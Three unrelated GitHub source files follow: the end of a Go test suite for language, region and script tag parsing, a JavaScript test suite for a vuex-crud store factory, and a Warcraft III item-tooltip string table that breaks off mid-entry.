{id: "NL", bcp47: "nl", iso3: "nld"},
{id: "gsw", bcp47: "gsw", iso3: "gsw"},
{id: "gSW", bcp47: "gsw", iso3: "gsw"},
{id: "und", bcp47: "und", iso3: "und"},
{id: "sh", bcp47: "sh", iso3: "hbs", norm: "sr"},
{id: "hbs", bcp47: "sh", iso3: "hbs", norm: "sr"},
{id: "no", bcp47: "no", iso3: "nor", norm: "no"},
{id: "nor", bcp47: "no", iso3: "nor", norm: "no"},
{id: "cmn", bcp47: "cmn", iso3: "cmn", norm: "zh"},
}
for i, tt := range tests {
want, err := getLangID(b(tt.id))
if err != tt.err {
t.Errorf("%d:err(%s): found %q; want %q", i, tt.id, err, tt.err)
}
if err != nil {
continue
}
if id, _ := getLangISO2(b(tt.bcp47)); len(tt.bcp47) == 2 && want != id {
t.Errorf("%d:getISO2(%s): found %v; want %v", i, tt.bcp47, id, want)
}
if len(tt.iso3) == 3 {
if id, _ := getLangISO3(b(tt.iso3)); want != id {
t.Errorf("%d:getISO3(%s): found %q; want %q", i, tt.iso3, id, want)
}
if id, _ := getLangID(b(tt.iso3)); want != id {
t.Errorf("%d:getID3(%s): found %v; want %v", i, tt.iso3, id, want)
}
}
norm := want
if tt.norm != "" {
norm, _ = getLangID(b(tt.norm))
}
id, _ := normLang(want)
if id != norm {
t.Errorf("%d:norm(%s): found %v; want %v", i, tt.id, id, norm)
}
if id := want.String(); tt.bcp47 != id {
t.Errorf("%d:String(): found %s; want %s", i, id, tt.bcp47)
}
if id := want.ISO3(); tt.iso3[:3] != id {
t.Errorf("%d:iso3(): found %s; want %s", i, id, tt.iso3[:3])
}
}
}
func TestGrandfathered(t *testing.T) {
for _, tt := range []struct{ in, out string }{
{"art-lojban", "jbo"},
{"i-ami", "ami"},
{"i-bnn", "bnn"},
{"i-hak", "hak"},
{"i-klingon", "tlh"},
{"i-lux", "lb"},
{"i-navajo", "nv"},
{"i-pwn", "pwn"},
{"i-tao", "tao"},
{"i-tay", "tay"},
{"i-tsu", "tsu"},
{"no-bok", "nb"},
{"no-nyn", "nn"},
{"sgn-BE-FR", "sfb"},
{"sgn-BE-NL", "vgt"},
{"sgn-CH-DE", "sgg"},
{"sgn-ch-de", "sgg"},
{"zh-guoyu", "cmn"},
{"zh-hakka", "hak"},
{"zh-min-nan", "nan"},
{"zh-xiang", "hsn"},
// Grandfathered tags with no modern replacement will be converted as follows:
{"cel-gaulish", "xtg-x-cel-gaulish"},
{"en-GB-oed", "en-GB-oxendict"},
{"en-gb-oed", "en-GB-oxendict"},
{"i-default", "en-x-i-default"},
{"i-enochian", "und-x-i-enochian"},
{"i-mingo", "see-x-i-mingo"},
{"zh-min", "nan-x-zh-min"},
{"root", "und"},
{"en_US_POSIX", "en-US-u-va-posix"},
{"en_us_posix", "en-US-u-va-posix"},
{"en-us-posix", "en-US-u-va-posix"},
} {
got := Raw.Make(tt.in)
want := Raw.MustParse(tt.out)
if got != want {
t.Errorf("%s: got %q; want %q", tt.in, got, want)
}
}
}
func TestRegionID(t *testing.T) {
tests := []struct {
in, out string
}{
{"_ ", ""},
{"_000", ""},
{"419", "419"},
{"AA", "AA"},
{"ATF", "TF"},
{"HV", "HV"},
{"CT", "CT"},
{"DY", "DY"},
{"IC", "IC"},
{"FQ", "FQ"},
{"JT", "JT"},
{"ZZ", "ZZ"},
{"EU", "EU"},
{"QO", "QO"},
{"FX", "FX"},
}
for i, tt := range tests {
if tt.in[0] == '_' {
id := tt.in[1:]
if _, err := getRegionID(b(id)); err == nil {
t.Errorf("%d:err(%s): found nil; want error", i, id)
}
continue
}
want, _ := getRegionID(b(tt.in))
if s := want.String(); s != tt.out {
t.Errorf("%d:%s: found %q; want %q", i, tt.in, s, tt.out)
}
if len(tt.in) == 2 {
want, _ := getRegionISO2(b(tt.in))
if s := want.String(); s != tt.out {
t.Errorf("%d:getISO2(%s): found %q; want %q", i, tt.in, s, tt.out)
}
}
}
}
func TestRegionType(t *testing.T) {
for _, tt := range []struct {
r string
t byte
}{
{"NL", bcp47Region | ccTLD},
{"EU", bcp47Region | ccTLD}, // exceptionally reserved
{"AN", bcp47Region | ccTLD}, // transitionally reserved
{"DD", bcp47Region}, // deleted in ISO, deprecated in BCP 47
{"NT", bcp47Region}, // transitionally reserved, deprecated in BCP 47
{"XA", iso3166UserAssigned | bcp47Region},
{"ZZ", iso3166UserAssigned | bcp47Region},
{"AA", iso3166UserAssigned | bcp47Region},
{"QO", iso3166UserAssigned | bcp47Region},
{"QM", iso3166UserAssigned | bcp47Region},
{"XK", iso3166UserAssigned | bcp47Region},
{"CT", 0}, // deleted in ISO, not in BCP 47, canonicalized in CLDR
} {
r := MustParseRegion(tt.r)
if tp := r.typ(); tp != tt.t {
t.Errorf("Type(%s): got %x; want %x", tt.r, tp, tt.t)
}
}
}
func TestRegionISO3(t *testing.T) {
tests := []struct {
from, iso3, to string
}{
{" ", "ZZZ", "ZZ"},
{"000", "ZZZ", "ZZ"},
{"AA", "AAA", ""},
{"CT", "CTE", ""},
{"DY", "DHY", ""},
{"EU", "QUU", ""},
{"HV", "HVO", ""},
{"IC", "ZZZ", "ZZ"},
{"JT", "JTN", ""},
{"PZ", "PCZ", ""},
{"QU", "QUU", "EU"},
{"QO", "QOO", ""},
{"YD", "YMD", ""},
{"FQ", "ATF", "TF"},
{"TF", "ATF", ""},
{"FX", "FXX", ""},
{"ZZ", "ZZZ", ""},
{"419", "ZZZ", "ZZ"},
}
for _, tt := range tests {
r, _ := getRegionID(b(tt.from))
if s := r.ISO3(); s != tt.iso3 {
t.Errorf("iso3(%q): found %q; want %q", tt.from, s, tt.iso3)
}
if tt.iso3 == "" {
continue
}
want := tt.to
if tt.to == "" {
want = tt.from
}
r, _ = getRegionID(b(want))
if id, _ := getRegionISO3(b(tt.iso3)); id != r {
t.Errorf("%s: found %q; want %q", tt.iso3, id, want)
}
}
}
func TestRegionM49(t *testing.T) {
fromTests := []struct {
m49 int
id string
}{
{0, ""},
{-1, ""},
{1000, ""},
{10000, ""},
{001, "001"},
{104, "MM"},
{180, "CD"},
{230, "ET"},
{231, "ET"},
{249, "FX"},
{250, "FR"},
{276, "DE"},
{278, "DD"},
{280, "DE"},
{419, "419"},
{626, "TL"},
{736, "SD"},
{840, "US"},
{854, "BF"},
{891, "CS"},
{899, ""},
{958, "AA"},
{966, "QT"},
{967, "EU"},
{999, "ZZ"},
}
for _, tt := range fromTests {
id, err := getRegionM49(tt.m49)
if want, have := err != nil, tt.id == ""; want != have {
t.Errorf("error(%d): have %v; want %v", tt.m49, have, want)
continue
}
r, _ := getRegionID(b(tt.id))
if r != id {
t.Errorf("region(%d): have %s; want %s", tt.m49, id, r)
}
}
toTests := []struct {
m49 int
id string
}{
{0, "000"},
{0, "IC"}, // Some codes don't have an ID
{001, "001"},
{104, "MM"},
{104, "BU"},
{180, "CD"},
{180, "ZR"},
{231, "ET"},
{250, "FR"},
{249, "FX"},
{276, "DE"},
{278, "DD"},
{419, "419"},
{626, "TL"},
{626, "TP"},
{729, "SD"},
{826, "GB"},
{840, "US"},
{854, "BF"},
{891, "YU"},
{891, "CS"},
{958, "AA"},
{966, "QT"},
{967, "EU"},
{967, "QU"},
{999, "ZZ"},
// For codes that don't have an M49 code use the replacement value,
// if available.
{854, "HV"}, // maps to Burkino Faso
}
for _, tt := range toTests {
r, _ := getRegionID(b(tt.id))
if r.M49() != tt.m49 {
t.Errorf("m49(%q): have %d; want %d", tt.id, r.M49(), tt.m49)
}
}
}
func TestRegionDeprecation(t *testing.T) {
tests := []struct{ in, out string }{
{"BU", "MM"},
{"BUR", "MM"},
{"CT", "KI"},
{"DD", "DE"},
{"DDR", "DE"},
{"DY", "BJ"},
{"FX", "FR"},
{"HV", "BF"},
{"JT", "UM"},
{"MI", "UM"},
{"NH", "VU"},
{"NQ", "AQ"},
{"PU", "UM"},
{"PZ", "PA"},
{"QU", "EU"},
{"RH", "ZW"},
{"TP", "TL"},
{"UK", "GB"},
{"VD", "VN"},
{"WK", "UM"},
{"YD", "YE"},
{"NL", "NL"},
}
for _, tt := range tests {
rIn, _ := getRegionID([]byte(tt.in))
rOut, _ := getRegionISO2([]byte(tt.out))
r := normRegion(rIn)
if rOut == rIn && r != 0 {
t.Errorf("%s: was %q; want %q", tt.in, r, tt.in)
}
if rOut != rIn && r != rOut {
t.Errorf("%s: was %q; want %q", tt.in, r, tt.out)
}
}
}
func TestGetScriptID(t *testing.T) {
idx := tag.Index("0000BbbbDdddEeeeZzzz\xff\xff\xff\xff")
tests := []struct {
in string
out scriptID
}{
{" ", 0},
{" ", 0},
{" ", 0},
{"", 0},
{"Aaaa", 0},
{"Bbbb", 1},
{"Dddd", 2},
{"dddd", 2},
{"dDDD", 2},
{"Eeee", 3},
{"Zzzz", 4},
}
for i, tt := range tests {
if id, err := getScriptID(idx, b(tt.in)); id != tt.out {
t.Errorf("%d:%s: found %d; want %d", i, tt.in, id, tt.out)
} else if id == 0 && err == nil {
t.Errorf("%d:%s: no error; expected one", i, tt.in)
}
}
}
func TestIsPrivateUse(t *testing.T) {
type test struct {
s string
private bool
}
tests := []test{
{"en", false},
{"und", false},
{"pzn", false},
{"qaa", true},
{"qtz", true},
{"qua", false},
}
for i, tt := range tests {
x, _ := getLangID([]byte(tt.s))
if b := x.IsPrivateUse(); b != tt.private {
t.Errorf("%d: langID.IsPrivateUse(%s) was %v; want %v", i, tt.s, b, tt.private)
}
}
tests = []test{
{"001", false},
{"419", false},
{"899", false},
{"900", false},
{"957", false},
{"958", true},
{"AA", true},
{"AC", false},
{"EU", false}, // CLDR grouping, exceptionally reserved in ISO.
{"QU", true}, // Canonicalizes to EU, User-assigned in ISO.
{"QO", true}, // CLDR grouping, User-assigned in ISO.
{"QA", false},
{"QM", true},
{"QZ", true},
{"XA", true},
{"XK", true}, // Assigned to Kosovo in CLDR, User-assigned in ISO.
{"XZ", true},
{"ZW", false},
{"ZZ", true},
}
for i, tt := range tests {
x, _ := getRegionID([]byte(tt.s))
if b := x.IsPrivateUse(); b != tt.private {
t.Errorf("%d: regionID.IsPrivateUse(%s) was %v; want %v", i, tt.s, b, tt.private)
}
}
tests = []test{
{"Latn", false},
{"Laaa", false}, // invalid
{"Qaaa", true},
{"Qabx", true},
{"Qaby", false},
{"Zyyy", false},
{"Zzzz", false},
}
for i, tt := range tests {
x, _ := getScriptID(script, []byte(tt.s))
if b := x.IsPrivateUse(); b != tt.private {
t.Errorf("%d: scriptID.IsPrivateUse(%s) was %v; want %v", i, tt.s, b, tt.private)
}
}
}
|
{
"pile_set_name": "Github"
}
|
import test from 'ava';
import sinon from 'sinon';
import createCrud, { client } from '../../src';
import * as createStateObj from '../../src/vuex-crud/createState';
import * as createActionsObj from '../../src/vuex-crud/createActions';
import * as createMutationsObj from '../../src/vuex-crud/createMutations';
import * as createGettersObj from '../../src/vuex-crud/createGetters';
import clientImpl from '../../src/vuex-crud/client';
const createState = createStateObj.default;
const createActions = createActionsObj.default;
const createMutations = createMutationsObj.default;
const createGetters = createGettersObj.default;
test('creates namespaced module', (t) => {
t.true(createCrud({ resource: 'articles' }).namespaced);
});
test('exports client', (t) => {
t.is(client, clientImpl);
});
test('throws an error if resource name not specified', (t) => {
const error = t.throws(() => createCrud(), Error);
t.is(error.message, 'Resource name must be specified');
});
test('creates state', (t) => {
t.deepEqual(
createCrud({ resource: 'articles' }).state,
createState({
state: {},
only: ['FETCH_LIST', 'FETCH_SINGLE', 'CREATE', 'UPDATE', 'REPLACE', 'DESTROY']
})
);
});
test('creates state with given options', (t) => {
t.deepEqual(
createCrud({ resource: 'articles', only: ['CREATE'], state: { foo: 'bar' } }).state,
createState({ only: ['CREATE'], state: { foo: 'bar' } })
);
});
test('calls createState with correct arguments', (t) => {
const spy = sinon.spy(createStateObj, 'default');
const resource = 'foo';
const only = ['CREATE'];
const state = { foo: 'bar' };
const crud = createCrud({ resource, only, state }).state;
const arg = spy.getCalls(0)[0].args[0];
t.truthy(crud); // eslint
t.truthy(spy.called);
t.is(arg.state, state);
t.is(arg.only, only);
createStateObj.default.restore();
});
test('creates actions', (t) => {
const crudActions = createCrud({ resource: 'articles' }).actions;
const actions = createActions({
actions: {},
urlRoot: '/api/articles',
only: ['FETCH_LIST', 'FETCH_SINGLE', 'CREATE', 'UPDATE', 'REPLACE', 'DESTROY'],
clientImpl
});
t.is(crudActions.fetchList.toString(), actions.fetchList.toString());
t.is(crudActions.fetchSingle.toString(), actions.fetchSingle.toString());
t.is(crudActions.create.toString(), actions.create.toString());
t.is(crudActions.update.toString(), actions.update.toString());
t.is(crudActions.replace.toString(), actions.replace.toString());
t.is(crudActions.destroy.toString(), actions.destroy.toString());
t.is(JSON.stringify(crudActions), JSON.stringify(actions));
});
test('creates actions with given options', (t) => {
const customAction = () => null;
const customClient = () => null;
const crudActions = createCrud({
resource: 'articles',
actions: {
customAction
},
rootUrl: '/articles',
only: ['FETCH_LIST'],
client: customClient
}).actions;
const actions = createActions({
actions: {
customAction
},
urlRoot: '/articles',
only: ['FETCH_LIST'],
customClient
});
t.is(crudActions.fetchList.toString(), actions.fetchList.toString());
t.falsy(crudActions.fetchSingle);
t.falsy(crudActions.create);
t.falsy(crudActions.update);
t.falsy(crudActions.replace);
t.falsy(crudActions.destroy);
t.is(JSON.stringify(crudActions), JSON.stringify(actions));
});
test('calls createActions with correct arguments', (t) => {
const spy = sinon.spy(createActionsObj, 'default');
const actions = {};
const customClient = () => null;
const only = ['FETCH_LIST'];
const parseList = res => res;
const parseSingle = res => res;
const parseError = err => err;
const crud = createCrud({
resource: 'articles',
actions,
urlRoot: '/articles',
only,
client: customClient,
parseList,
parseSingle,
parseError
}).actions;
const arg = spy.getCalls(0)[0].args[0];
t.truthy(crud); // eslint
t.truthy(spy.called);
t.is(arg.actions, actions);
t.is(arg.rootUrl, '/articles');
t.is(arg.only, only);
t.is(arg.client, customClient);
createActionsObj.default.restore();
});
test('calls createActions with correct arguments when customUrlFn provided', (t) => {
const spy = sinon.spy(createActionsObj, 'default');
const actions = {};
const customClient = () => null;
const only = ['FETCH_LIST'];
const parseList = res => res;
const parseSingle = res => res;
const parseError = err => err;
const customUrlFn = id => (
id ? '/api/foo' : `/api/foo/${id}`
);
const crud = createCrud({
resource: 'articles',
actions,
urlRoot: '/articles',
customUrlFn,
only,
client: customClient,
parseList,
parseSingle,
parseError
}).actions;
const arg = spy.getCalls(0)[0].args[0];
t.truthy(crud); // eslint
t.truthy(spy.called);
t.is(arg.actions, actions);
t.is(arg.rootUrl, customUrlFn);
t.is(arg.only, only);
t.is(arg.client, customClient);
createActionsObj.default.restore();
});
test('removes trailing slash from url', (t) => {
const spy = sinon.spy(createActionsObj, 'default');
const crud = createCrud({
resource: 'articles',
urlRoot: '/articles/'
}).actions;
const arg = spy.getCalls(0)[0].args[0];
t.truthy(crud); // eslint
t.truthy(spy.called);
t.is(arg.rootUrl, '/articles');
createActionsObj.default.restore();
});
test('creates mutations', (t) => {
const crudMutations = createCrud({ resource: 'articles' }).mutations;
const mutations = createMutations({
mutations: {},
idAttribute: 'id',
only: ['FETCH_LIST', 'FETCH_SINGLE', 'CREATE', 'UPDATE', 'REPLACE', 'DESTROY'],
onFetchListStart() {},
onFetchListSuccess() {},
onFetchListError() {},
onFetchSingleStart() {},
onFetchSingleSuccess() {},
onFetchSingleError() {},
onCreateStart() {},
onCreateSuccess() {},
onCreateError() {},
onUpdateStart() {},
onUpdateSuccess() {},
onUpdateError() {},
onReplaceStart() {},
onReplaceSuccess() {},
onReplaceError() {},
onDestroyStart() {},
onDestroySuccess() {},
onDestroyError() {}
});
t.is(crudMutations.fetchListStart.toString(), mutations.fetchListStart.toString());
t.is(crudMutations.fetchListSuccess.toString(), mutations.fetchListSuccess.toString());
t.is(crudMutations.fetchListError.toString(), mutations.fetchListError.toString());
t.is(crudMutations.fetchSingleStart.toString(), mutations.fetchSingleStart.toString());
t.is(crudMutations.fetchSingleSuccess.toString(), mutations.fetchSingleSuccess.toString());
t.is(crudMutations.fetchSingleError.toString(), mutations.fetchSingleError.toString());
t.is(crudMutations.createStart.toString(), mutations.createStart.toString());
t.is(crudMutations.createSuccess.toString(), mutations.createSuccess.toString());
t.is(crudMutations.createError.toString(), mutations.createError.toString());
t.is(crudMutations.updateStart.toString(), mutations.updateStart.toString());
t.is(crudMutations.updateSuccess.toString(), mutations.updateSuccess.toString());
t.is(crudMutations.updateError.toString(), mutations.updateError.toString());
t.is(crudMutations.replaceStart.toString(), mutations.replaceStart.toString());
t.is(crudMutations.replaceSuccess.toString(), mutations.replaceSuccess.toString());
t.is(crudMutations.replaceError.toString(), mutations.replaceError.toString());
t.is(crudMutations.destroyStart.toString(), mutations.destroyStart.toString());
t.is(crudMutations.destroySuccess.toString(), mutations.destroySuccess.toString());
t.is(crudMutations.destroyError.toString(), mutations.destroyError.toString());
t.is(JSON.stringify(crudMutations), JSON.stringify(mutations));
});
test('creates mutations with given options', (t) => {
const customMutations = {
foo() {}
};
const crudMutations = createCrud({
resource: 'articles',
mutations: customMutations,
idAttribute: 'slug',
only: ['CREATE']
}).mutations;
const mutations = createMutations({
mutations: customMutations,
idAttribute: 'slug',
only: ['CREATE'],
onFetchListStart() {},
onFetchListSuccess() {},
onFetchListError() {},
onFetchSingleStart() {},
onFetchSingleSuccess() {},
onFetchSingleError() {},
onCreateStart() {},
onCreateSuccess() {},
onCreateError() {},
onUpdateStart() {},
onUpdateSuccess() {},
onUpdateError() {},
onReplaceStart() {},
onReplaceSuccess() {},
onReplaceError() {},
onDestroyStart() {},
onDestroySuccess() {},
onDestroyError() {}
});
t.truthy(customMutations.foo);
t.falsy(crudMutations.fetchListStart);
t.falsy(crudMutations.fetchListSuccess);
t.falsy(crudMutations.fetchListError);
t.falsy(crudMutations.fetchSingleStart);
t.falsy(crudMutations.fetchSingleSuccess);
t.falsy(crudMutations.fetchSingleError);
t.is(crudMutations.createStart.toString(), mutations.createStart.toString());
t.is(crudMutations.createSuccess.toString(), mutations.createSuccess.toString());
t.is(crudMutations.createError.toString(), mutations.createError.toString());
t.falsy(crudMutations.updateStart);
t.falsy(crudMutations.updateSuccess);
t.falsy(crudMutations.updateError);
t.falsy(crudMutations.replaceStart);
t.falsy(crudMutations.replaceSuccess);
t.falsy(crudMutations.replaceError);
t.falsy(crudMutations.destroyStart);
t.falsy(crudMutations.destroySuccess);
t.falsy(crudMutations.destroyError);
t.is(JSON.stringify(crudMutations), JSON.stringify(mutations));
});
test('calls createMutations with correct arguments', (t) => {
const spy = sinon.spy(createMutationsObj, 'default');
const onFetchListStart = () => {};
const onFetchListSuccess = () => {};
const onFetchListError = () => {};
const onFetchSingleStart = () => {};
const onFetchSingleSuccess = () => {};
const onFetchSingleError = () => {};
const onCreateStart = () => {};
const onCreateSuccess = () => {};
const onCreateError = () => {};
const onUpdateStart = () => {};
const onUpdateSuccess = () => {};
const onUpdateError = () => {};
const onReplaceStart = () => {};
const onReplaceSuccess = () => {};
const onReplaceError = () => {};
const onDestroyStart = () => {};
const onDestroySuccess = () => {};
const onDestroyError = () => {};
const customMutations = {
foo() {}
};
const only = ['CREATE'];
const crud = createCrud({
resource: 'articles',
mutations: customMutations,
idAttribute: 'slug',
only,
onFetchListStart,
onFetchListSuccess,
onFetchListError,
onFetchSingleStart,
onFetchSingleSuccess,
onFetchSingleError,
onCreateStart,
onCreateSuccess,
onCreateError,
onUpdateStart,
onUpdateSuccess,
onUpdateError,
onReplaceStart,
onReplaceSuccess,
onReplaceError,
onDestroyStart,
onDestroySuccess,
onDestroyError
});
const arg = spy.getCalls(0)[0].args[0];
t.truthy(crud); // eslint
t.truthy(spy.called);
t.is(arg.mutations, customMutations);
t.is(arg.only, only);
t.is(arg.idAttribute, 'slug');
t.is(arg.onFetchListStart, onFetchListStart);
t.is(arg.onFetchListSuccess, onFetchListSuccess);
t.is(arg.onFetchListError, onFetchListError);
t.is(arg.onFetchSingleStart, onFetchSingleStart);
t.is(arg.onFetchSingleSuccess, onFetchSingleSuccess);
t.is(arg.onFetchSingleError, onFetchSingleError);
t.is(arg.onCreateStart, onCreateStart);
t.is(arg.onCreateSuccess, onCreateSuccess);
t.is(arg.onCreateError, onCreateError);
t.is(arg.onUpdateStart, onUpdateStart);
t.is(arg.onUpdateSuccess, onUpdateSuccess);
t.is(arg.onUpdateError, onUpdateError);
t.is(arg.onReplaceStart, onReplaceStart);
t.is(arg.onReplaceSuccess, onReplaceSuccess);
t.is(arg.onReplaceError, onReplaceError);
t.is(arg.onDestroyStart, onDestroyStart);
t.is(arg.onDestroySuccess, onDestroySuccess);
t.is(arg.onDestroyError, onDestroyError);
createMutationsObj.default.restore();
});
test('creates getters', (t) => {
const crudGetters = createCrud({ resource: 'articles' }).getters;
const getters = createGetters({
getters: {},
idAttribute: 'id'
});
t.is(crudGetters.list.toString(), getters.list.toString());
t.is(crudGetters.byId.toString(), getters.byId.toString());
t.is(crudGetters.isError.toString(), getters.isError.toString());
t.is(crudGetters.isLoading.toString(), getters.isLoading.toString());
t.is(JSON.stringify(crudGetters), JSON.stringify(getters));
});
test('creates getters with given options', (t) => {
const customGetters = {
foo() {}
};
const crudGetters = createCrud({
resource: 'articles',
getters: customGetters,
idAttribute: 'slug'
}).getters;
const getters = createGetters({
getters: customGetters,
idAttribute: 'slug'
});
t.is(crudGetters.list.toString(), getters.list.toString());
t.is(crudGetters.byId.toString(), getters.byId.toString());
t.is(crudGetters.isError.toString(), getters.isError.toString());
t.is(crudGetters.isLoading.toString(), getters.isLoading.toString());
t.is(crudGetters.foo, customGetters.foo);
t.is(JSON.stringify(crudGetters), JSON.stringify(getters));
});
test('calls createGetters with correct arguments', (t) => {
const spy = sinon.spy(createGettersObj, 'default');
const customGetters = {
foo() {}
};
const crud = createCrud({
resource: 'articles',
getters: customGetters,
idAttribute: 'slug'
}).getters;
const arg = spy.getCalls(0)[0].args[0];
t.truthy(crud); // eslint
t.truthy(spy.called);
t.is(arg.getters, customGetters);
createGettersObj.default.restore();
});
|
{
"pile_set_name": "Github"
}
|
//names of dependecies
[TWN1]
Name=Town Hall or Great Hall or Tree of Life or Necropolis
[TWN2]
Name=Keep or Stronghold or Tree of Ages or Halls of the Dead
[TWN3]
Name=Castle or Fortress or Tree of Eternity or Black Citadel
[TALT]
Name=An Altar
[amrc]
Name=Amulet of Recall
Hotkey=R
Tip=Purchase Amulet of |cffffcc00R|recall
Ubertip="Teleports <AIrt,DataA1> of the player's units within the targeted area to the location of the Hero when used."
Description=Can be used to teleport units to the user.
[ankh]
Name=Ankh of Reincarnation
Hotkey=A
Tip=Purchase |cffffcc00A|rnkh of Reincarnation
Ubertip="Automatically brings the Hero back to life with <AIrc,DataB1> hit points when the Hero wearing the Ankh dies."
Description=Allows reincarnation upon death.
[belv]
Name=Boots of Quel'Thalas +6
Hotkey=E
Tip=Purchase Boots of Qu|cffffcc00e|rl'Thalas
Ubertip="Increases the Agility of the Hero by 6 when worn."
Description=Provides a bonus to Agility.
[bgst]
Name=Belt of Giant Strength +6
Hotkey=B
Tip=Purchase |cffffcc00B|relt of Giant Strength
Ubertip="Increases the Strength of the Hero by 6 when worn."
Description=Provides a bonus to Strength.
[bspd]
Name=Boots of Speed
Hotkey=S
Tip=Purchase Boots of |cffffcc00S|rpeed
Ubertip="Increases the movement speed of the Hero when worn."
Description=Increases movement rate.
[ccmd]
Name=Scepter of Mastery
Hotkey=C
Tip=Purchase S|cffffcc00c|repter of Mastery
Ubertip="Transfers control of the targeted non-Hero unit to the player who uses the Scepter. The transfer of control is permanent. |nCannot be used on Heroes or on creeps higher than level <AIco,DataA1>. |nContains <ccmd,uses> charges."
Description=Allows mind control of non-Hero units.
[ciri]
Name=Robe of the Magi +6
Hotkey=R
Tip=Purchase |cffffcc00R|robe of the Magi
Ubertip="Increases the Intelligence of the Hero by 6 when worn."
Description=Provides a bonus to Intelligence.
[ckng]
Name=Crown of Kings +5
Hotkey=K
Tip=Purchase Crown of |cffffcc00K|rings
Ubertip="Increases the Strength, Intelligence, and Agility of the Hero by 5 when worn."
Description="Provides a +5 bonus to Agility, Strength, and Intelligence."
[clsd]
Name=Cloak of Shadows
Hotkey=C
Tip=Purchase |cffffcc00C|rloak of Shadows
Ubertip="Provides the Hero with invisibility at night when worn. An invisible Hero is untargetable by the enemy unless detected. If the Hero moves, attacks, uses an ability, or casts a spell, the invisibility effect is lost."
Description=Provides the Shadowmeld ability.
[crys]
Name=Crystal Ball
Hotkey=C
Tip=Purchase |cffffcc00C|rrystal Ball
Ubertip="Reveals a targeted area. Invisible units are also revealed by the Crystal Ball's effect. |nLasts <AIta,Dur1> seconds."
Description=Permits the viewing of distant areas.
[desc]
Name=Kelen's Dagger of Escape
Hotkey=E
Tip=Purchase Dagger of |cffffcc00E|rscape
Ubertip="Allows the Hero to teleport a short distance."
Description=Teleports the Hero a short distance.
[flag]
Name=Human Flag
Tip=Purchase Human Flag
Ubertip="An object that is often captured in special scenarios as a win condition."
Description=Can be captured in special scenarios.
[nflg]
Name=Night Elf Flag
Tip=Purchase Night Elf Flag
Ubertip="An object that is often captured in special scenarios as a win condition."
Description=Can be captured in special scenarios.
[oflg]
Name=Orc Flag
Tip=Purchase Orc Flag
Ubertip="An object that is often captured in special scenarios as a win condition."
Description=Can be captured in special scenarios.
[uflg]
Name=Undead Flag
Tip=Purchase Undead Flag
Ubertip="An object that is often captured in special scenarios as a win condition."
Description=Can be captured in special scenarios.
[gemt]
Name=Gem of True Seeing
Hotkey=G
Tip=Purchase |cffffcc00G|rem of True Seeing
Ubertip="Allows the Hero to detect hidden or invisible units in the Hero's line of sight when carried."
Description=Permits invisible units to be seen.
[gobm]
Name=Goblin Land Mines
Hotkey=L
Tip=Purchase Goblin |cffffcc00L|rand Mines
Ubertip="Places a hidden land mine at a target point. Enemy units that move near the land mine will activate the mine, destroying the mine and causing area of effect damage to nearby units. |nContains <gobm,uses> charges."
Description=Explosive mines.
[gsou]
Name=Soul Gem
Hotkey=G
Tip=Purchase Soul |cffffcc00G|rem
Ubertip="Traps the targeted enemy Hero inside the Soul Gem when used. The enemy Hero is returned to play when the bearer of the Soul Gem is killed. While an enemy Hero is trapped, the bearer of the Soul Gem is revealed to the enemy through the Fog of War."
Description=Allows the theft of a Hero's soul.
[guvi]
Name=Glyph of Ultravision
Hotkey=U
Tip=Purchase Glyph of |cffffcc00U|rltravision
Ubertip="Gives all of your units the ability to see as far at night as they do during the day."
Description=Improves night vision.
[gfor]
Name=Glyph of Fortification
Hotkey=F
Tip=Purchase Glyph of |cffffcc00F|rortification
Ubertip="Increases the armor and hit points of your buildings."
Description=Improves building armor and hit points.
[soul]
Name=Soul
Tip=Purchase Soul
Ubertip="A soul, trapped by the enchantments of a Soul Gem."
Description=This is a trapped soul.
[mdpb]
Name=Medusa Pebble
Purchase Medusa Pebble
Hotkey=P
Tip=Purchase Medusa |cffffcc00P|rebble
Ubertip="Turns the targeted enemy non-Hero unit into stone when used. A unit turned to stone by the Medusa Pebble is removed from the game permanently."
Description=Turns target unit to stone.
[rag1]
Name=Slippers of Agility +3
Hotkey=A
Tip=Purchase Slippers of |cffffcc00A|rgility +3
Ubertip="Increases the Agility of the Hero by 3 when worn."
Description=Boosts Agility by 3.
[rat3]
Name=Claws of Attack +3
Hotkey=K
Tip=Purchase Claws of Attac|cffffcc00k|r +3
Ubertip="Increases the attack damage of the Hero by 3 when worn."
Description=Boosts attack damage by 3.
[rin1]
Name=Mantle of Intelligence +3
Hotkey=I
Tip=Purchase Mantle of |cffffcc00I|rntelligence +3
Ubertip="Increases the Intelligence of the Hero by 3 when worn."
Description=Boosts Intelligence by 3.
[rde1]
Name=Ring of Protection +2
Hotkey=2
Tip=Purchase Ring of Protection +|cffffcc002|r
Ubertip="Increases the armor of the Hero by 2 when worn."
Description=Boosts armor by 2.
[rde2]
Name=Ring of Protection +3
Hotkey=3
Tip=Purchase Ring of Protection +|cffffcc003|r
Ubertip="Increases the armor of the Hero by 3 when worn."
Description=Boosts armor by 3.
[rde3]
Name=Ring of Protection +4
Hotkey=4
Tip=Purchase Ring of Protection +|cffffcc004|r
Ubertip="Increases the armor of the Hero by 4 when worn."
Description=Boosts armor by 4.
[rhth]
Name=Khadgar's Gem of Health
Hotkey=H
Tip=Purchase Khadgar's Gem of |cffffcc00H|realth
Ubertip="Increases the hit points of the Hero by <AIl2,DataA1> when worn."
Description=Increases the hit points of the Hero.
[rst1]
Name=Gauntlets of Ogre Strength +3
Hotkey=S
Tip=Purchase Gauntlets of Ogre |cffffcc00S|rtrength +3
Ubertip="Increases the Strength of the Hero by 3 when worn."
Description=Boosts Strength by 3.
[ofir]
Name=Orb of Fire
Hotkey=F
Tip=Purchase Orb of |cffffcc00F|rire
Ubertip="Adds <AIfb,DataA1> bonus fire damage to the attack of a Hero when carried. The Hero's attacks also become ranged when attacking air and do splash damage to nearby enemy units."
Description=Attacks also do fire damage.
[ofro]
Name=Orb of Frost
Hotkey=R
Tip=Purchase Orb of F|cffffcc00r|rost
Ubertip="Adds <AIob,DataA1> bonus cold damage to the attack of a Hero when carried. The Hero's attacks also become ranged when attacking air and slow the movement speed and attack rate of the enemy for <AIob,Dur1> seconds."
Description=Attacks cause Frost Shock.
[olig]
Name=Orb of Lightning
Hotkey=L
Tip=Purchase Orb of |cffffcc00L|rightning
Ubertip="Adds <AIlb,DataA1> bonus damage to the attack of a Hero when carried. The Hero's attacks also become ranged when attacking air, dispel magic and slow the movement speed of the enemy for <AIlp,Dur1> seconds. |n|cffffcc00Deals <AIlp,DataC1> bonus damage to summoned units."
Description=Attacks cause lightning damage.
[oli2]
Name=Orb of Lightning
Hotkey=L
Tip=Purchase Orb of |cffffcc00L|rightning
